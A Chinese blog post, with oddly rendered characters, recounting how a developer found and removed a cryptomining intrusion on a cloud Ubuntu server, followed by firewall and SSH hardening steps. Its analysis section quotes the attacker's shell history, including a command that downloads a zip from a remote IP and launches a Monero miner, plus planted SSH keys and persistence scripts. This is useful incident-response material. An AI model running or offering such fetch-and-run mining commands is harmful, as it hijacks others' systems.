前言
就在近幾日的一天,我們的一臺(tái)阿里云ubuntu服務(wù)器應(yīng)該被人黑進(jìn)系統(tǒng),做成了肉雞,占用了大量資源,嚴(yán)重影響了使用。為了盡快恢復(fù)服務(wù),不得已,在我司沒有相關(guān)專業(yè)人才的情況,臨危受命,光著膀子上陣,反擊戰(zhàn)就此拉開。
1. 現(xiàn)象
原本好好的一臺(tái)阿里云上的服務(wù)器突然訪問不了,通過ssh登錄幾乎沒有反應(yīng),連接不上。
2. 分析
服務(wù)器連接不上,服務(wù)器上的服務(wù)也訪問不了,直接懷疑服務(wù)器宕機(jī)了。登錄阿里云的控制臺(tái)發(fā)現(xiàn),該機(jī)器狀態(tài)正在運(yùn)行,這就奇怪了。
繼續(xù)再控制臺(tái)查看,發(fā)現(xiàn)該服務(wù)器的系統(tǒng)資源監(jiān)控圖上,CPU和IO網(wǎng)絡(luò)資源占用全都是100%,而我們的服務(wù)根本用不了這么多,懷疑有異常應(yīng)用。
接著在控制臺(tái)的云盾監(jiān)控里發(fā)現(xiàn),該服務(wù)器存外地在一次異常登錄,這下確認(rèn),應(yīng)該被人黑了。
這里有個(gè)郁悶的地方,阿里監(jiān)控到了這個(gè)黑客,但想看更多的信息,就得升級(jí)VIP,就得花錢,還不便宜。
確定服務(wù)器被人動(dòng)了手腳,但具體動(dòng)了怎么樣的手腳?如何恢復(fù)?怎么防止?繼續(xù)分析。
通過SSH根本訪問不了服務(wù)器,那想登陸服務(wù)器查找異常也實(shí)現(xiàn)不了,得先解決這問題。
1.通過阿里控制強(qiáng)制重啟該服務(wù)器,剛剛重啟之后,用ssh登錄,正常。執(zhí)行top命令,觀察系統(tǒng)資源情況。剛開始一切正常,大概1分鐘左右后,整個(gè)服務(wù)器進(jìn)程全變成了ps進(jìn)程,系統(tǒng)資源被耗盡,cpu,內(nèi)存全滿。
2.再次重啟,嘗試幾次之后發(fā)現(xiàn),剛重啟的時(shí)候ssh登錄,ps,top命令執(zhí)行正常,1分鐘后系統(tǒng)所有進(jìn)程基本全變成了ps,top,nestat進(jìn)程,并且大量的占用資源,導(dǎo)致幾乎每個(gè)進(jìn)程都是100%的cpu消耗。而再執(zhí)行ps,top,netstat命令,命令正常結(jié)束,但沒有任何輸出。通過和其他正常服務(wù)器的對比,確定這幾個(gè)命令被替換了。
3.通過history命令發(fā)現(xiàn),有一段命令操作像是安裝肉雞的操作:
1988 wget http://118.192.146.141:21222/generic.zip
1989 unzip generic.zip 1990 rm -rf generic.zip 1991 cd generic.zip 1992 cd generic 1993 chmod 777 yam 1994 (./yam -c x -M stratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr &)
1995 exit
1996 top
該命令在root目錄下載了一個(gè)zip文件,解壓后賦權(quán)限,啟動(dòng)了一個(gè)命令,這個(gè)命令看不懂。通過baidu大概知道,利用redis安全漏洞攻擊的腳本里的命令跟這個(gè)挺像。
4.檢查ssh key發(fā)現(xiàn),在/root/.ssh/authorized_keys、authoried_keys文件里新增兩個(gè)ssh key的配置,根據(jù)最后的名稱發(fā)現(xiàn),明顯不是我們的。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTj
r3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBh root@kalissh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFL zuoshou@ubuntu
5.檢查系統(tǒng)開機(jī)自啟項(xiàng),/etc/rc.local里發(fā)現(xiàn)兩個(gè)沒見過的自啟腳本。
sh /etc/issue.sh &sh /etc/iisethert.sh &
同時(shí)發(fā)現(xiàn)/etc/目錄issue.sh,iisethert.sh 文件。然后,進(jìn)入/etc/init.d/目錄,發(fā)現(xiàn)幾十個(gè)沒見過的文件
hkiewsdxasasx*
akslkkxmjdslk*
klkmxasdsiwqx*
opewlncwxjioq*
....
看著就像程序隨機(jī)生成的,按時(shí)間排序,發(fā)現(xiàn)這些都是最近的??偣?0多個(gè)。另外發(fā)現(xiàn)DbSecuritySpt、selinux腳本,也覺得是異常腳本。
3. 反擊
根據(jù)之前的分析,大概知道哪里出了異常。具體異常之處的作用,暫沒有分析,先解決問題為主。
1.刪除異常root目錄下generic相關(guān)文件
2.刪除異常的ssh key
3.刪除/etc/rc.local異常腳本配置
4.刪除/etc/init.d/下異常腳本
5.刪除/etc/rc0.d~rc6.d/目錄異常腳本連接
6.從其他正常的服務(wù)器上,復(fù)制正常的ps、top、netstat命令到/bin目錄下,恢復(fù)命令。
上面的反擊操作不是一撮而就的,重啟了好幾次服務(wù)器,陸續(xù)執(zhí)行上面的反擊操作。終于,最后一次重啟服務(wù)器,通過top命令發(fā)現(xiàn),系統(tǒng)進(jìn)程正常了。
事后在網(wǎng)上搜到一篇類似的文章,我的具體情況和他的有些不一樣,估計(jì)是一種新變種。 參考文章:一次Linux服務(wù)器被入侵和刪除木馬程序的經(jīng)歷
防護(hù)
解決了問題,就要考慮如何防止。一查才發(fā)現(xiàn)我們之前的防護(hù)實(shí)在是有點(diǎn)太弱了。常規(guī)的防護(hù)手段都沒有用,趕緊上。
開啟防火墻
安裝
sudo apt-get install ufw
啟用防火墻
sudo ufw enable
sudo ufw default deny
開啟了防火墻并隨系統(tǒng)啟動(dòng)同時(shí)關(guān)閉所有外部對本機(jī)的訪問(本機(jī)訪問外部正常)。
關(guān)閉防火墻
sudo ufw disable
查看防火墻狀態(tài)
sudo ufw status
開啟/禁用相應(yīng)端口
sudo ufw allow 80 允許外部訪問80端口
sudo ufw delete allow 80 禁止外部訪問80 端口
sudo ufw allow from 192.168.1.1 允許此IP訪問所有的本機(jī)端口
sudo ufw deny smtp 禁止外部訪問smtp服務(wù)
sudo ufw delete allow smtp 刪除上面建立的某條規(guī)則
sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22 要拒絕所有的TCP流量從10.0.0.0/8 到192.168.0.1地址的22端口
可以允許所有RFC1918網(wǎng)絡(luò)(局域網(wǎng)/無線局域網(wǎng)的)訪問這個(gè)主機(jī)(/8,/16,/12是一種網(wǎng)絡(luò)分級(jí)):
sudo ufw allow from 10.0.0.0/8
sudo ufw allow from 172.16.0.0/12
sudo ufw allow from 192.168.0.0/16
推薦設(shè)置
sudo apt-get install ufw
sudo ufw enable
sudo ufw default deny
修改ssh端口
Linux中SSH默認(rèn)端口為22,為了安全考慮,我們有必要對22端口進(jìn)行修改,現(xiàn)修改端口為60000;修改方法如下:
在/etc/ssh/sshd_config中找到Port 22,將其修改為60000,或使用/usr/sbin/sshd -p 60000指定端口。
如果想讓22和60000端口同時(shí)開放,只需在/etc/ssh/sshd_config增加一行內(nèi)容如下:
[root@localhost /]# vi /etc/ssh/sshd_configPort 22Port 60000
保存并退出
[root@localhost /]#service ssh restart
重啟 ssh 服務(wù)
root@ubuntu14:~# service ssh restartssh stop/waiting
ssh start/running, process 1499
root@ubuntu14:~#
禁用root賬戶,增加sudo權(quán)限
假如增加用戶zhangsan的sudo權(quán)限。 修改/etc/sudoers文件,在root下增加如下一行。
root ALL=(ALL) ALL
zhangsan ALL=(ALL) ALL
增加用戶名zhangsan:
useradd zhangsan
passwd zhangsan
禁止root用戶登錄:修改/etc/ssh/sshd_config文件,將PermitRootLogin前的#號(hào)去掉,yes改為no,重啟network。
# Authentication:LoginGraceTime 120
#PermitRootLogin without-password
PermitRootLogin no
StrictModes yes
按照以上方法,root用戶將不能登錄,則使用zhangsan用戶登錄。切換到root權(quán)限可使用#sudo su ,然后輸入zhangsan的密碼即可。
后記
嚴(yán)格的說這不能是算一次漂亮的反擊戰(zhàn),只是暫時(shí)解決了問題,因?yàn)闀r(shí)間緊迫,過程中也沒有保存異常的文件供后續(xù)研究,也沒有截圖。 對于黑客技術(shù),碼農(nóng)知之甚少,這次被人搞了事情之后,看來非常有必要知道這方面的知識(shí)。這個(gè)搞事情的人不知道是大意了還是水平一般,還是很容易發(fā)現(xiàn)系統(tǒng)異常,如果遇到高級(jí)黑,估計(jì)我就傻眼了??傊?,不以惡小而為之,OK?